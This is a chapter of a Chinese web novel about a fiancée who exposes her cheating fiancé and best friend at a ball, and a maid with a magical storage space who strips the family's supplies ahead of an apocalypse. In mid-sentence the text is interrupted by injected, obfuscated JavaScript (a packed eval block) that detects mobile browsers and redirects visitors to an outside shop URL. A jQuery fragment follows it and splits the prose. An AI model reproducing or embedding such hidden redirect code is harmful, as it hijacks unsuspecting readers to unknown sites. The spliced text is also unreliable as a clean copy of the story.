陈悦几乎是飘上三楼化妆间的,周围全是粉红泡泡,整个心都是陆宇轩待会儿要给她的惊喜。
难道是求婚?
她踏上三楼的地毯,走廊里静悄悄的,化妆间的门半开着,透出暖黄色的光。
她深吸一口气,推门而入。
竟然空无一人?
里面没有想象的浪漫与电影里求婚场景的,连化妆师都没有,只有沙发上散落的衣物,仔细一看还有女士内衣和男士内裤。
她内心疑惑,正要喊人,换衣间里却传出了奇怪的声音。
她像是急着确认什么,快步朝着换衣间门口走去。
直到那个曾经无数次在她耳边说出情话的嗓音突然响起。
她悬着的终于死了。
“瑶瑶宝贝,你说我和陈晨谁更厉害?”
苏瑶声音软绵绵的,带着娇羞:“当然是你啦宇轩哥哥,你比陈晨那个秒男厉害一万倍。”
陈悦僵在原地。
陆宇轩,那个发誓一生一世只爱她一个人的男人,如今正和别的女人在更衣室…
不,不是别的女人。
她是苏瑶啊,她的好闺蜜。
如果她没记错,苏瑶不是满心期待要当她嫂子吗?
她俩不是天下第一好,说好一辈子不背叛对方吗?
那他们在干什么?
这时,换衣间里再次传来的声音。
“哎?这门怎么卡住了?”陆宇轩推搡着门板“咣咣”作响。
“奇怪,明明没锁呀!”苏瑶的声音娇滴滴的,夹杂着一丝慌乱。
再过几分钟就到了舞会中场休息时间了,她可不想被人发现自己在和陆宇轩偷情。
陈悦那个大小姐脾气,还不得撕了她。
她不知道,陈悦已经在外面了。
“贱人,你敢勾引我未婚夫,我杀了你!”
这一刻,陈悦平日里精心维持的公主形象荡然无存。
门边别着的衣架杆让她一脚踢开,推拉门打开那一刻,两具赤裸的身体惊慌地分开。
陆宇轩做梦也没想到会在这个时候见到陈月,脸上的情欲瞬间褪的干净,他的手下意识地去遮挡,却不知先捂哪里。
苏瑶惊恐地尖叫一声,想抓什么遮住自己,却只抓到一把空气。
而这一切,都被舞会中场休息,跟着巫小兰上来补妆的宾客们看在眼里。
所有视线齐刷刷定格,时间仿佛被按下了暂停键。
三个人,只有陈悦穿戴整齐。
不用细想就能明白发生了什么。
苏瑶此刻脸上满是惊慌,不断的向陆宇轩身后闪躲。
“悦悦,不是你看到的那样,先把门关上好不好?”
她从没想到陈悦会突然跑到这里来,这个女人不应该在楼下炫耀脖子上的项链和身上穿的高定礼服吗?
“贱人,你敢做还怕看吗?”陈悦怒气冲冲地看着她,恨不得把门开的更大一些,让这两个狗男女彻底暴露外众人面前,身败名裂。
陆宇轩见状对陈悦怒吼:“你能不能像苏瑶一样识大体?这么多人看着,你不嫌丢人吗?”
“我丢人?”
陈悦看着眼前这对狗男女,又看向身后一副看好戏的众人,彻底崩溃了。
她扑上去掐住苏瑶的脖子,歇斯底里的怒吼:“贱人,我对你那么好,你竟然这么对我!”
苏瑶猝不及防被她掐住,窒息感瞬间涌了上来,她双手胡乱的抓,差点划花了陈悦的脸。
距离最近的陆宇轩此刻顾不得羞耻,他上去用力拉扯陈悦的手。
“陈悦,你疯了吗?放手!”
可他忘了自己此刻的状态是何等不堪。
三个人就这样扭打在一起,最后一起失去平衡栽倒在地。
“砰!”的一声响。
三个人以一种极具视觉冲击力的姿势叠压在地上。
最下面是苏瑶,她满脸通红像是要被掐死了,她上面是如同疯子一般,死死掐住她不松手的陈悦,陈悦上面是拉架拉不开还帮倒忙的废柴陆宇轩。
他们两个快把苏瑶压死了。
宾客们被这一幕震惊的不行,反应快的已经拿出手机悄悄拍照。
直到苏瑶快被掐晕过去了,宾客们怕真的出人命,才有人站出来把疯魔了的陈悦拉开。
“放开我!我要杀了她!杀了这个勾引我未婚夫的婊子!!”
陈悦双脚离地,疯狂踢蹬。
陆宇轩趁机连滚带爬地躲到一边,胡乱抓起地上一件衣服手忙脚乱地裹在腰间,勉强遮住要害。
苏瑶瘫软在地,捂着布满青紫指痕的脖子,大口喘着粗气,眼泪鼻涕糊了满脸。
“悦悦对不起,我喝多了,什么都不知道,你原谅我。”
宴会刚开始就醉得不省人事、还能精准地和好闺蜜的未婚夫搞在一起?
在场的人没人会信,哪怕陈悦是个傻子也不会信。
但此刻,没人在乎真相。
这场热闹可比无聊的舞会有意思多了。
陈涛和林月娥这时候才接到消息赶过来,看到化妆间里的狼藉,顿时傻眼了。
丢人丢到这个地步,陈涛的笑容比哭还难看,偏偏他还要收拾残局。
“大家散了吧,给陈某个面子,小年轻喝多了,酒后失态,楼下还有个化妆间,请移步那里。”
众人见状,这才依依不舍的离开化妆间,对刚刚的好戏意犹未尽。
林月娥一把将还在哭嚎挣扎的女儿紧紧搂进怀里。
“宝贝,你受委屈了,有妈妈在呢。”
她一边心疼的安慰陈悦,一边凶神恶煞地瞪这苏瑶和陆宇轩。
巫小兰站在人群边缘,看完了整场闹剧,心中十分畅快。
可当她看到林月娥抱着陈悦的样子时,默默移开了眼。
有妈妈护着可真让人羡慕。
她目光落在地上那条原本属于母亲的宝石项链上,刚刚它因为苏瑶地疯狂的撕扯绷断,此刻并没人注意。
她意念微动,将项链收进空间,然后跟着人群一起离开了三楼。
以后,还会有更多的东西物归原主。
再次回到厨房,巫小兰发现这里居然又堆满了各种新鲜食材,显然陈家为了挽回颜面,正在不计成本地紧急补货。
这对于她来说简直是天然物资刷新点,通通不留,全部收走。
接下来,巫小兰准备按照其他佣人说的取酒流程去酒水储藏室,彻底搬空陈家。
她推车来到四楼,门口的保镖正在储藏室门口晃荡。
大家都在参加舞会,哪怕服务员也有地方偷闲,偶尔蹭点宴会吃食和身边的人聊聊天,可他们只能呆在这里,闲的快要长毛了。
巫小兰站在楼梯拐角这里,将空间里那个被电晕的男人放了出来,位置就在保镖视线范围的五米内。
此刻秦颂已经醒了,入目是一片泛着暗光的白,他不知道自己在哪里,茫然的挣扎起来。
在保镖眼里,一个人形床单在蠕动,像个突然乍现的怨灵,冲着他们张牙舞爪。
正当他们想过去查看时,不远处的床单人突然消失。
再次出现时,似乎离他们远了一些。
两个保镖对视一眼,都从对方眼中看到了震惊和恐惧。
这深更半夜得,在荒郊野岭的别墅…
“喂,哥们,你看见没?”保镖A的声音压得极低。
“嗯,它好像还在动。”保镖B的声音紧绷,别过头回避,只敢用眼角的余光观察。
“C啊!邪门了!”保镖A嘴上骂骂咧咧,却不敢轻举妄动。
就在他们犹豫着要不要上前看看时,巫小兰推着平板车从他们身边经过,径直往酒水储藏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610384|205508||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
室走。
保镖A的目光还盯着走廊尽头的被单人,下意识对巫小兰说道:“取酒自己登记身份证。”
“嗯,知道了。”
巫小兰应了一声,推开酒水储藏室的大门。
身后传来两位保镖的脚步声,不过不是往他她这边走的,是去看那个被单人。
巫小兰收起被单人,反手关门。
临时储酒的房间不大,但里面的酒水却价值连城,边上的架子还摆着烟。
巫小兰心念一动,将整个储藏室里的东西全部搬走了,只留下一箱最普通的啤酒。
做完这一切,巫小兰将剩的那一箱啤酒搬上车,走到门边随手登记。
XXX啤酒一箱,领取人张芳,再写上□□号。
她推着这箱啤酒,十分坦然地走向电梯。
那两个保镖还在对着空荡荡的走廊发呆,脸色都有些惨白。
他们明明看到这里有东西在动,怎么就突然消失了?
巫小兰直接进了电梯,将啤酒和车子一并收进空间。
这下子该拿的都差不多了,她是时候离开了。
这时她想到那个戴Kitty猫面具正四处打听她的女佣。
还不能走,她要看看那个人究竟是谁。
她决定挨个楼层寻找,顺便将空间里多余的摄像头全部安装在这栋别墅,用来监视这一家子龌龊的人,没准他们又抽风,想害她。
没过多久异常耗费人力物力准备的化妆舞会就接近尾声了,导致这么快结束的原因是厨房汇报食材紧缺,就连酒水也供应不足。
一般体面的客人发现自助餐区不再补餐后,就知道差不多该离开了。当然还有一些人打算留宿,早就迫不及待地将看上的人拉进楼上提前准备好的房间。
巫小兰在各个楼层穿梭着,走廊里灯光昏暗,两旁的房间时不时会传出令人脸红心跳的声音。
巫小兰的女佣身份并不会引起其他人的怀疑,更何况她拿了一个抹布,别人还以为她在打扫卫生。
她尽量把摄像头安装在比较公共的地点,然后利用花瓶和摆件作为掩体。
刚来到五楼走廊,陈晨那气急败坏的声音就从前方转角传来,似乎正对着电话那头的供应商无能狂怒:“你超市没货?拜托?搞什么?我陈家要东西,你竟然说没有货?你们还想不想在A城混了?”
“有什么可物资紧张的?又不是世界末日要来了?就算是世界末日,你也先给我送点酒过来!你他妈开超市不会连酒都没有吧?”
电话那头的人声音很委屈:“晨少,酒有,我这儿还有几袋大米,要不也给你送去吧?现在好多人想买都买不到。”
陈晨的语气突然暴躁了起来:“老子在开party,要大米有什么用?”
巫小兰心中冷笑,果然蠢货到什么时候都是蠢货。
都快世界末日了,大街上到处都是装甲车,物资正是最紧缺的时候。陈晨的猪脑子里竟然还想着开party,真是难为他非要长成人的样子。
巫小兰原本是来找人的,不想与陈晨这个大傻子正面冲突,于是她转身往另一个方向走。
就在这时,她身后陈晨的声音突然停止了。
巫小兰察觉不对,躲在墙后面朝着陈晨的方向看去。
只见她正在寻找的那个戴着KTV面具的女佣,正一只手用力地捂住陈晨的嘴,另一只手控制陈晨的胳膊,将他往旁边的屋子里拖。
陈晨好歹是个大老爷们,但被这个女佣拖着,却毫无反抗能力,身体瞬间失去平衡。
他惊恐地瞪大了眼睛,绝望的挣扎着,手中的电话掉落在地上。
“救命!”他发出含糊不清的求救声。
巫小兰被这一幕吓呆了,猛地缩回脑袋,等走廊里彻底没了动静才敢再看那个方向,陈晨已经被拖进一旁的房间里,门被重重的关上。